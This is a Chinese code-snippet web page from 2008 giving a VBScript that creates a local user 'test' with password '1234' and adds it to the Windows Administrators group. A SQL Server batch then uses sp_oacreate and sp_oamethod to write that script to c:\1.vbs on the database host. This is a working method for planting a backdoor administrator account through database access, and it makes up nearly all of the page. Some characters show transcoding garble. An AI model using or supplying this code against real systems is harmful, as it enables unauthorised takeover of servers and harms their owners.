vbs加administrator用戶的代碼
更新時間:2008年08月01日 01:22:05 作者:
使用ADSI的Winnt對象,Windows2000后面的系統(tǒng)都屬于NT系列
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,綁定
Set oe=GetObject(os&"/Administrators,group") '屬性,admin組
Set od=ob.Create("user","test") '建立用戶
od.SetPassword "1234" '設置密碼
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用戶
oe.add os&"/test"
SQL語句如下,采用sp_oamethod過程:
declare @o int, @f int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
相關文章
教你編寫Windows的VBScript與Mac的AppleSCript腳本解放雙手
這篇文章主要介紹了教你編寫Windows的VBScript腳本與Mac的AppleSCript腳本來解放大家的雙手,有需要的朋友可以借鑒參考下,希望能夠有所幫助2022-02-02
VBS教程:VBscript語句-If...Then...Else 語句
If...Then...Else 語句用于計算條件是否為 True 或 False,并且根據計算結果指定要運行的語句。通常,條件是使用比較運算符對值或變量進行比較的表達式。If...Then...Else 語句可以按照需要進行嵌套2006-11-11

